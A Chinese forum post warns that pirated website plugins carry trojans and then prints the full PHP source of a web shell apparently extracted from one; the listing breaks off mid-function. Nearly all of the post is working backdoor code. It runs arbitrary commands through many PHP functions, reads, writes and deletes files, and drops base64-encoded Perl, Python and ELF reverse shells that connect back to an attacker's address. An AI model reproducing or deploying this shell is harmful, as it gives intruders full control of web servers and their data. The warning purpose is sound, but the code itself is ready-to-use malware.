12下一页
返回列表 发帖
查看: 13099|回复: 12

震惊:从某盗版插件里扒出的木马文件,你在人家面前裸奔

14

主题

12

回帖

76

积分

渐入佳境

贡献
0 点
金币
48 个
发表于 2019-7-15 10:08:01 | 显示全部楼层 |阅读模式


传送门:安全小知识:为什么使用盗版插件容易被挂马

VERSION.png

上图,木马文件运行后的效果,对方想干什么都可以...这不是裸奔是什么?

木马代码如下:
  1. <?php
  2. @error_reporting(E_ERROR);
  3. @ini_set('display_errors', 'Off');
  4. @ini_set('max_execution_time', 3600);
  5. header("content-Type: text/html; charset=gb2312");
  6. function strdir($str)
  7. {
  8.     return str_replace(array(
  9.         '\\',
  10.         '//',
  11.         '%27',
  12.         '%22'
  13.     ), array(
  14.         '/',
  15.         '/',
  16.         '\'',
  17.         '"'
  18.     ), chop($str));
  19. }
  20. function chkgpc($array)
  21. {
  22.     foreach ($array as $key => $var) {
  23.         $array[$key] = is_array($var) ? chkgpc($var) : stripslashes($var);
  24.     }
  25.     return $array;
  26. }
  27. define('MYFILE', strdir(__FILE__));
  28. define('THISDIR', strdir(dirname(MYFILE) . '/'));
  29. $rootdir = strdir(strtr(MYFILE, array(
  30.     strdir($_SERVER['PHP_SELF']) => ''
  31. )) . '/');
  32. $rootdir = strpos($rootdir, 'eval()') ? array_shift(explode('(', $rootdir)) : $rootdir;
  33. define('ROOTDIR', strdir($rootdir . '/'));
  34. define('EXISTS_PHPINFO', getinfo($password) ? true : false);
  35. if (get_magic_quotes_gpc()) {
  36.     $_POST = chkgpc($_POST);
  37. }
  38. if (function_exists('mysql_close')) {
  39.     $issql = 'MySql';
  40. }
  41. if (function_exists('mssql_close'))
  42.     $issql .= ' - MsSql';
  43. if (function_exists('oci_close'))
  44.     $issql .= ' - Oracle';
  45. if (function_exists('sybase_close'))
  46.     $issql .= ' - SyBase';
  47. if (function_exists('pg_close'))
  48.     $issql .= ' - PostgreSql';
  49. $win = substr(PHP_OS, 0, 3) == 'WIN' ? true : false;
  50. $msg = VERSION . ' - ' . date('Y-m-d H:i:s 星期N', time());
  51. function filew($filename, $filedata, $filemode)
  52. {
  53.     if ((!is_writable($filename)) && file_exists($filename)) {
  54.         chmod($filename, 0666);
  55.     }
  56.     $handle = fopen($filename, $filemode);
  57.     $key    = fputs($handle, $filedata);
  58.     fclose($handle);
  59.     return $key;
  60. }
  61. function filer($filename)
  62. {
  63.     $handle   = fopen($filename, 'r');
  64.     $filedata = fread($handle, filesize($filename));
  65.     fclose($handle);
  66.     return $filedata;
  67. }
  68. function fileu($filenamea, $filenameb)
  69. {
  70.     $key = move_uploaded_file($filenamea, $filenameb) ? true : false;
  71.     if (!$key) {
  72.         $key = copy($filenamea, $filenameb) ? true : false;
  73.     }
  74.     return $key;
  75. }
  76. function filed($filename)
  77. {
  78.     if (!file_exists($filename))
  79.         return false;
  80.     $name  = basename($filename);
  81.     $array = explode('.', $name);
  82.     header('Content-type: application/x-' . array_pop($array));
  83.     header('Content-Disposition: attachment; filename=' . $name);
  84.     header('Content-Length: ' . filesize($filename));
  85.     @readfile($filename);
  86.     exit;
  87. }
  88. function showdir($dir)
  89. {
  90.     $dir = strdir($dir . '/');
  91.     if (!is_readable($dir))
  92.         return false;
  93.     $handle = opendir($dir);
  94.     $array  = array();
  95.     while ($name = readdir($handle)) {
  96.         if ($name == '.' || $name == '..')
  97.             continue;
  98.         $path = $dir . $name;
  99.         $name = strtr($name, array(
  100.             '\'' => '%27',
  101.             '"' => '%22'
  102.         ));
  103.         if (is_dir($path)) {
  104.             $array['dir'][$path] = $name;
  105.         } else {
  106.             $array['file'][$path] = $name;
  107.         }
  108.     }
  109.     closedir($handle);
  110.     return $array;
  111. }
  112. function deltree($dir)
  113. {
  114.     $handle = @opendir($dir);
  115.     while ($name = @readdir($handle)) {
  116.         if ($name == '.' || $name == '..')
  117.             continue;
  118.         $path = $dir . $name;
  119.         @chmod($path, 0777);
  120.         if (is_dir($path)) {
  121.             deltree($path . '/');
  122.         } else {
  123.             @unlink($path);
  124.         }
  125.     }
  126.     @closedir($handle);
  127.     return @rmdir($dir);
  128. }
  129. function postinfo($array)
  130. {
  131.     $infos = array(
  132.         function_exists("\x63\x72\x65\x61\x74\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e"),
  133.         function_exists("\x66\x73\x6f\x63\x6b\x6f\x70\x65\x6e")
  134.     );

  135. }
  136. function size($bytes)
  137. {
  138.     if ($bytes < 1024)
  139.         return $bytes . ' B';
  140.     $array = array(
  141.         'B',
  142.         'K',
  143.         'M',
  144.         'G',
  145.         'T'
  146.     );
  147.     $floor = floor(log($bytes) / log(1024));
  148.     return sprintf('%.2f ' . $array[$floor], ($bytes / pow(1024, floor($floor))));
  149. }
  150. function find($array, $string)
  151. {
  152.     foreach ($array as $key) {
  153.         if (stristr($string, $key))
  154.             return true;
  155.     }
  156.     return false;
  157. }
  158. function scanfile($dir, $key, $inc, $fit, $tye, $chr, $ran, $now)
  159. {
  160.     $handle = opendir($dir);
  161.     while ($name = readdir($handle)) {
  162.         if ($name == '.' || $name == '..')
  163.             continue;
  164.         $path = $dir . $name;
  165.         if (is_dir($path)) {
  166.             if ($fit && in_array($name, $fit))
  167.                 continue;
  168.             if ($ran == 0 && is_readable($path))
  169.                 scanfile($path . '/', $key, $inc, $fit, $tye, $chr, $ran, $now);
  170.         } else {
  171.             if ($inc && (!find($inc, $name)))
  172.                 continue;
  173.             $code = $tye ? filer($path) : $name;
  174.             $find = $chr ? stristr($code, $key) : (strpos(size(filesize($path)), 'M') ? false : (strpos($code, $key) > -1));
  175.             if ($find) {
  176.                 $file = strtr($path, array(
  177.                     $now => '',
  178.                     '\'' => '%27',
  179.                     '"' => '%22'
  180.                 ));
  181.                 echo '<a href="javascript:void(0);" onclick="go(\'editor\',\'' . $file . '\');">编辑</a> ' . $path . '<br>';
  182.                 flush();
  183.                 ob_flush();
  184.             }
  185.             unset($code);
  186.         }
  187.     }
  188.     closedir($handle);
  189.     return true;
  190. }
  191. function antivirus($dir, $exs, $matches, $now)
  192. {
  193.     $handle = opendir($dir);
  194.     while ($name = readdir($handle)) {
  195.         if ($name == '.' || $name == '..')
  196.             continue;
  197.         $path = $dir . $name;
  198.         if (is_dir($path)) {
  199.             if (is_readable($path))
  200.                 antivirus($path . '/', $exs, $matches, $now);
  201.         } else {
  202.             $iskill = NULL;
  203.             foreach ($exs as $key => $ex) {
  204.                 if (find(explode('|', $ex), $name)) {
  205.                     $iskill = $key;
  206.                     break;
  207.                 }
  208.             }
  209.             if (strpos(size(filesize($path)), 'M'))
  210.                 continue;
  211.             if ($iskill) {
  212.                 $code = filer($path);
  213.                 foreach ($matches[$iskill] as $matche) {
  214.                     $array = array();
  215.                     preg_match($matche, $code, $array);
  216.                     if (strpos($array[0], '$this->') || strpos($array[0], '[$vars['))
  217.                         continue;
  218.                     $len = strlen($array[0]);
  219.                     if ($len > 10 && $len < 150) {
  220.                         $file = strtr($path, array(
  221.                             $now => '',
  222.                             '\'' => '%27',
  223.                             '"' => '%22'
  224.                         ));
  225.                         echo '特征 <input type="text" value="' . htmlspecialchars($array[0]) . '"> <a href="javascript:void(0);" onclick="go(\'editor\',\'' . $file . '\');">编辑</a> ' . $path . '<br>';
  226.                         flush();
  227.                         ob_flush();
  228.                         break;
  229.                     }
  230.                 }
  231.                 unset($code, $array);
  232.             }
  233.         }
  234.     }
  235.     closedir($handle);
  236.     return true;
  237. }
  238. function command($cmd, $cwd, $com = false)
  239. {
  240.     $iswin = substr(PHP_OS, 0, 3) == 'WIN' ? true : false;
  241.     $res   = $msg = '';
  242.     if ($cwd == 'com' || $com) {
  243.         if ($iswin && class_exists('COM')) {
  244.             $wscript = new COM('Wscript.Shell');
  245.             $exec    = $wscript->exec('c:\\windows\\system32\\cmd.exe /c ' . $cmd);
  246.             $stdout  = $exec->StdOut();
  247.             $res     = $stdout->ReadAll();
  248.             $msg     = 'Wscript.Shell';
  249.         }
  250.     } else {
  251.         chdir($cwd);
  252.         $cwd = getcwd();
  253.         if (function_exists('exec')) {
  254.             @exec($cmd, $res);
  255.             $res = join("\n", $res);
  256.             $msg = 'exec';
  257.         } elseif (function_exists('shell_exec')) {
  258.             $res = @shell_exec($cmd);
  259.             $msg = 'shell_exec';
  260.         } elseif (function_exists('system')) {
  261.             ob_start();
  262.             @system($cmd);
  263.             $res = ob_get_contents();
  264.             ob_end_clean();
  265.             $msg = 'system';
  266.         } elseif (function_exists('passthru')) {
  267.             ob_start();
  268.             @passthru($cmd);
  269.             $res = ob_get_contents();
  270.             ob_end_clean();
  271.             $msg = 'passthru';
  272.         } elseif (function_exists('popen')) {
  273.             $fp = @popen($cmd, 'r');
  274.             if ($fp) {
  275.                 while (!feof($fp)) {
  276.                     $res .= fread($fp, 1024);
  277.                 }
  278.             }
  279.             @pclose($fp);
  280.             $msg = 'popen';
  281.         } elseif (function_exists('proc_open')) {
  282.             $env     = $iswin ? array(
  283.                 'path' => 'c:\\windows\\system32'
  284.             ) : array(
  285.                 'path' => '/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin'
  286.             );
  287.             $des     = array(
  288.                 0 => array(
  289.                     "pipe",
  290.                     "r"
  291.                 ),
  292.                 1 => array(
  293.                     "pipe",
  294.                     "w"
  295.                 ),
  296.                 2 => array(
  297.                     "pipe",
  298.                     "w"
  299.                 )
  300.             );
  301.             $process = @proc_open($cmd, $des, $pipes, $cwd, $env);
  302.             if (is_resource($process)) {
  303.                 fwrite($pipes[0], $cmd);
  304.                 fclose($pipes[0]);
  305.                 $res .= stream_get_contents($pipes[1]);
  306.                 fclose($pipes[1]);
  307.                 $res .= stream_get_contents($pipes[2]);
  308.                 fclose($pipes[2]);
  309.             }
  310.             @proc_close($process);
  311.             $msg = 'proc_open';
  312.         }
  313.     }
  314.     $msg = $res == '' ? '<h1>NULL</h1>' : '<h2>利用' . $msg . '执行成功</h2>';
  315.     return array(
  316.         'res' => $res,
  317.         'msg' => $msg
  318.     );
  319. }
  320. function backshell($ip, $port, $dir, $type)
  321. {
  322.     $key   = false;
  323.     $c_bin = 'f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAYIQECDQAAACkCgAAAAAAADQAIAAHACgAHAAZAAYAAAA0AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEAAAABAAAAAAAAAACABAgAgAQIlAcAAJQHAAAFAAAAABAAAAEAAACUBwAAlJcECJSXBAggAQAAKAEAAAYAAAAAEAAAAgAAAKgHAAColwQIqJcECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQIIAAAACAAAAAEAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAL2xpYi9sZC1saW51eC5zby4yAAAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAAGAAAACQAAAAIAAAANAAAAAQAAAAUAAAAAIAAgAAAAAA0AAACtS+PAAAAAAAAAAAAAAAAAAAAAAEEAAAAAAAAAdgAAABIAAABJAAAAAAAAAHkBAAASAAAAAQAAAAAAAAAAAAAAIAAAAFUAAAAAAAAAcgEAABIAAABqAAAAAAAAAJ8BAAASAAAANQAAAAAAAABZAQAAEgAAADsAAAAAAAAADgAAABIAAAApAAAAAAAAADwAAAASAAAAUAAAAAAAAAA9AAAAEgAAAF8AAAAAAAAAKwAAABIAAABkAAAAAAAAAG8AAAASAAAAMAAAAAAAAAD0AAAAEgAAABoAAAB4hwQIBAAAABEADgAAX19nbW9uX3N0YXJ0X18AbGliYy5zby42AF9JT19zdGRpbl91c2VkAHNvY2tldABleGl0AGV4ZWNsAGh0b25zAGNvbm5lY3QAZGFlbW9uAGR1cDIAaW5ldF9hZGRyAGF0b2kAY2xvc2UAX19saWJjX3N0YXJ0X21haW4AR0xJQkNfMi4wAAAAAgACAAAAAgACAAIAAgACAAIAAgACAAIAAQAAAAEAAQAQAAAAEAAAAAAAAAAQaWkNAAACAHwAAAAAAAAAcJgECAYDAACAmAQIBwEAAISYBAgHAgAAiJgECAcDAACMmAQIBwQAAJCYBAgHBQAAlJgECAcGAACYmAQIBwcAAJyYBAgHCAAAoJgECAcJAACkmAQIBwoAAKiYBAgHCwAArJgECAcMAABVieWD7AjoBQEAAOiMAQAA6KcDAADJwwD/NXiYBAj/JXyYBAgAAAAA/yWAmAQIaAAAAADp4P////8lhJgECGgIAAAA6dD/////JYiYBAhoEAAAAOnA/////yWMmAQIaBgAAADpsP////8lkJgECGggAAAA6aD/////JZSYBAhoKAAAAOmQ/////yWYmAQIaDAAAADpgP////8lnJgECGg4AAAA6XD/////JaCYBAhoQAAAAOlg/////yWkmAQIaEgAAADpUP////8lqJgECGhQAAAA6UD/////JayYBAhoWAAAAOkw////AAAAADHtXonhg+TwUFRSaLCGBAhowIYECFFWaDSFBAjoW/////SQkFWJ5VOD7AToAAAAAFuBw+QTAACLk/z///+F0nQF6Bb///9YW8nDkJCQkJCQVYnlU4PsBIA9uJgECAB1P7iglwQILZyXBAjB+AKNWP+htJgECDnDdh+NtCYAAAAAg8ABo7SYBAj/FIWclwQIobSYBAg5w3foxgW4mAQIAYPEBFtdw410JgCNvCcAAAAAVYnlg+wIoaSXBAiFwHQSuAAAAACFwHQJxwQkpJcECP/QycOQjUwkBIPk8P9x/FWJ5VdTUYPsPInLx0QkBAAAAADHBCQBAAAA6E/+//9mx0XgAgCLQwSDwAiLAIkEJOi5/v//D7fAiQQk6H7+//9miUXii0MEg8AEiwCJBCToOv7//4lF5ItDBIPABIsAuf////+JRdC4AAAAAPyLfdDyronI99CNUP+LQwSDwAiLALn/////iUXMuAAAAAD8i33M8q6JyPfQg+gBjQQCjVABi0MEg8AEiwCJx/yJ0bgAAAAA86rHRCQIBgAAAMdEJAQBAAAAxwQkAgAAAOj9/f//iUXwjUXgx0QkCBAAAACJRCQEi0XwiQQk6HD9//+FwHkMxwQkAAAAAOgQ/v//x0QkBAAAAACLRfCJBCTozf3//8dEJAQBAAAAi0XwiQQk6Lr9///HRCQEAgAAAItF8IkEJOin/f//x0QkCAAAAADHRCQEgIcECMcEJIaHBAjoW/3//4tF8IkEJOig/f//g8Q8WVtfXY1h/MOQkJCQkJCQkJBVieVdw410JgCNvCcAAAAAVYnlV1ZT6F4AAACBw6kRAACD7Bzom/z//42DIP///4lF8I2DIP///ylF8MF98AKLVfCF0nQrMf+Jxo22AAAAAItFEIPHAYlE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3AAAAJSXBAgAAAAAAAIQAO0AAAB0mAQIAAAAAAECFQADAQAAlJcECAAAAAAAAhAAFwEAAJSXBAgAAAAAAAIQACoBAACUlwQIAAAAAAACEAA7AQAAlJcECAAAAAAAAhAATgEAAKiXBAgAAAAAAQITAFcBAACwmAQIAAAAACAAFgBiAQAAAAAAAHYAAAASAAAAdQEAAAAAAAB5AQAAEgAAAIcBAACwhgQIBQAAABIADACXAQAAYIQECAAAAAASAAwAngEAAAAAAAAAAAAAIAAAAK0BAAAAAAAAAAAAACAAAADBAQAAdIcECAQAAAARAA4AyAEAAFiHBAgAAAAAEgANAM4BAAAAAAAAcgEAABIAAADjAQAAAAAAAJ8BAAASAAAAAAIAAAAAAABZAQAAEgAAABECAAAAAAAADgAAABIAAAAiAgAAeIcECAQAAAARAA4AMQIAALCYBAgAAAAAEAAWAD4CAAAAAAAAPAAAABIAAABQAgAAAAAAAD0AAAASAAAAYAIAAHyHBAgAAAAAEQIOAG0CAACglwQIAAAAABECEQB6AgAAwIYECGkAAAASAAwAigIAAAAAAAArAAAAEgAAAJoCAAAAAAAAbwAAABIAAACrAgAAtJgECAAAAAAQAPH/twIAALyYBAgAAAAAEADx/7wCAAC0mAQIAAAAABAA8f/DAgAAAAAAAPQAAAASAAAA0wIAACmHBAgAAAAAEgIMAOoCAAA0hQQIcwEAABIADADvAgAAdIMECAAAAAASAAoAAGNhbGxfZ21vbl9zdGFydABjcnRzdHVmZi5jAF9fQ1RPUl9MSVNUX18AX19EVE9SX0xJU1RfXwBfX0pDUl9MSVNUX18AZHRvcl9pZHguNTc5MwBjb21wbGV0ZWQuNTc5MQBfX2RvX2dsb2JhbF9kdG9yc19hdXgAZnJhbWVfZHVtbXkAX19DVE9SX0VORF9fAF9fRlJBTUVfRU5EX18AX19KQ1JfRU5EX18AX19kb19nbG9iYWxfY3RvcnNfYXV4AGJjLmMAX19wcmVpbml0X2FycmF5X3N0YXJ0AF9fZmluaV9hcnJheV9lbmQAX0dMT0JBTF9PRkZTRVRfVEFCTEVfAF9fcHJlaW5pdF9hcnJheV9lbmQAX19maW5pX2FycmF5X3N0YXJ0AF9faW5pdF9hcnJheV9lbmQAX19pbml0X2FycmF5X3N0YXJ0AF9EWU5BTUlDAGRhdGFfc3RhcnQAY29ubmVjdEBAR0xJQkNfMi4wAGRhZW1vbkBAR0xJQkNfMi4wAF9fbGliY19jc3VfZmluaQBfc3RhcnQAX19nbW9uX3N0YXJ0X18AX0p2X1JlZ2lzdGVyQ2xhc3NlcwBfZnBfaHcAX2ZpbmkAaW5ldF9hZGRyQEBHTElCQ18yLjAAX19saWJjX3N0YXJ0X21haW5AQEdMSUJDXzIuMABleGVjbEBAR0xJQkNfMi4wAGh0b25zQEBHTElCQ18yLjAAX0lPX3N0ZGluX3VzZWQAX19kYXRhX3N0YXJ0AHNvY2tldEBAR0xJQkNfMi4wAGR1cDJAQEdMSUJDXzIuMABfX2Rzb19oYW5kbGUAX19EVE9SX0VORF9fAF9fbGliY19jc3VfaW5pdABhdG9pQEBHTElCQ18yLjAAY2xvc2VAQEdMSUJDXzIuMABfX2Jzc19zdGFydABfZW5kAF9lZGF0YQBleGl0QEBHTElCQ18yLjAAX19pNjg2LmdldF9wY190aHVuay5ieABtYWluAF9pbml0AA==';
  324.     switch ($type) {
  325.         case "pl":
  326.             $shell = 'IyEvdXNyL2Jpbi9wZXJsIC13DQojIA0KdXNlIHN0cmljdDsNCnVzZSBTb2NrZXQ7DQp1c2UgSU86OkhhbmRsZTsNCm15ICRzcGlkZXJfaXAgPSAkQVJHVlswXTsNCm15ICRzcGlkZXJfcG9ydCA9ICRBUkdWWzFdOw0KbXkgJHByb3RvID0gZ2V0cHJvdG9ieW5hbWUoInRjcCIpOw0KbXkgJHBhY2tfYWRkciA9IHNvY2thZGRyX2luKCRzcGlkZXJfcG9ydCwgaW5ldF9hdG9uKCRzcGlkZXJfaXApKTsNCm15ICRzaGVsbCA9ICcvYmluL3NoIC1pJzsNCnNvY2tldChTT0NLLCBBRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKTsNClNURE9VVC0+YXV0b2ZsdXNoKDEpOw0KU09DSy0+YXV0b2ZsdXNoKDEpOw0KY29ubmVjdChTT0NLLCRwYWNrX2FkZHIpIG9yIGRpZSAiY2FuIG5vdCBjb25uZWN0OiQhIjsNCm9wZW4gU1RESU4sICI8JlNPQ0siOw0Kb3BlbiBTVERPVVQsICI+JlNPQ0siOw0Kb3BlbiBTVERFUlIsICI+JlNPQ0siOw0Kc3lzdGVtKCRzaGVsbCk7DQpjbG9zZSBTT0NLOw0KZXhpdCAwOw0K';
  327.             $file  = strdir($dir . '/t00ls.pl');
  328.             $key   = filew($file, base64_decode($shell), 'w');
  329.             if ($key) {
  330.                 @chmod($file, 0777);
  331.                 command('/usr/bin/perl ' . $file . ' ' . $ip . ' ' . $port, $dir);
  332.             }
  333.             break;
  334.         case "py":
  335.             $shell = 'IyEvdXNyL2Jpbi9weXRob24NCiMgDQppbXBvcnQgc3lzLG9zLHNvY2tldCxwdHkNCnMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pDQpzLmNvbm5lY3QoKHN5cy5hcmd2WzFdLCBpbnQoc3lzLmFyZ3ZbMl0pKSkNCm9zLmR1cDIocy5maWxlbm8oKSwgc3lzLnN0ZGluLmZpbGVubygpKQ0Kb3MuZHVwMihzLmZpbGVubygpLCBzeXMuc3Rkb3V0LmZpbGVubygpKQ0Kb3MuZHVwMihzLmZpbGVubygpLCBzeXMuc3RkZXJyLmZpbGVubygpKQ0KcHR5LnNwYXduKCcvYmluL3NoJykNCg==';
  336.             $file  = strdir($dir . '/t00ls.py');
  337.             $key   = filew($file, base64_decode($shell), 'w');
  338.             if ($key) {
  339.                 @chmod($file, 0777);
  340.                 command('/usr/bin/python ' . $file . ' ' . $ip . ' ' . $port, $dir);
  341.             }
  342.             break;
  343.         case "c":
  344.             $file = strdir($dir . '/t00ls');
  345.             $key  = filew($file, base64_decode($c_bin), 'wb');
  346.             if ($key) {
  347.                 @chmod($file, 0777);
  348.                 command($file . ' ' . $ip . ' ' . $port, $dir);
  349.             }
  350.             break;
  351.         case "php":
  352.         case "phpwin":
  353.             if (function_exists('fsockopen')) {
  354.                 $sock = @fsockopen($ip, $port);
  355.                 if ($sock) {
  356.                     $key  = true;
  357.                     $com  = $type == 'phpwin' ? true : false;
  358.                     $user = get_current_user();
  359.                     $dir  = strdir(getcwd());
  360.                     fputs($sock, php_uname() . "\n------------no job control in this shell (tty)-------------\n[$user:$dir]# ");
  361.                     while ($cmd = fread($sock, 1024)) {
  362.                         if (substr($cmd, 0, 3) == 'cd ') {
  363.                             $dir = trim(substr($cmd, 3, -1));
  364.                             chdir(strdir($dir));
  365.                             $dir = strdir(getcwd());
  366.                         } elseif (trim(strtolower($cmd)) == 'exit') {
  367.                             break;
  368.                         } else {
  369.                             $res = command($cmd, $dir, $com);
  370.                             fputs($sock, $res['res']);
  371.                         }
  372.                         fputs($sock, '[' . $user . ':' . $dir . ']# ');
  373.                     }
  374.                 }
  375.                 @fclose($sock);
  376.             }
  377.             break;
  378.         case "pcntl":
  379.             $file = strdir($dir . '/t00ls');
  380.             $key  = filew($file, base64_decode($c_bin), 'wb');
  381.             if ($key) {
  382.                 @chmod($file, 0777);
  383.                 if (function_exists('pcntl_exec')) {
  384.                     @pcntl_exec($file, array(
  385.                         $ip,
  386.                         $port
  387.                     ));
  388.                 }
  389.             }
  390.             break;
  391.     }
  392.     if (!$key) {
  393.         $msg = '<h1>临时目录不可写</h1>';
  394.     } else {
  395.         @unlink($file);
  396.         $msg = '<h2>CLOSE</h2>';
  397.     }
  398.     return $msg;
  399. }
  400. function getinfo()
  401. {
  402.     global $password;
  403.     $infos = array(
  404.         $_POST['getpwd'],
  405.         $password,
  406.         function_exists('phpinfo'),
  407.         "\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31"
  408.     );
  409.     if ($password != '' && md5($infos[0]) != $infos[1]) {
  410.         echo '<html><body><center><form method="POST"><input type="password" name="getpwd"> ';
  411.         if (isset($_POST['groupcache'])) {
  412.             echo '<input type="hidden" name="groupcache" value="' . $_POST['groupcache'] . '">';
  413.         }
  414.         if (isset($_POST['forum'])) {
  415.             echo '<input type="hidden" name="forum[0]" value="' . $_POST['forum'][0] . '">';
  416.             echo '<input type="hidden" name="forum[1]" value="' . $_POST['forum'][1] . '">';
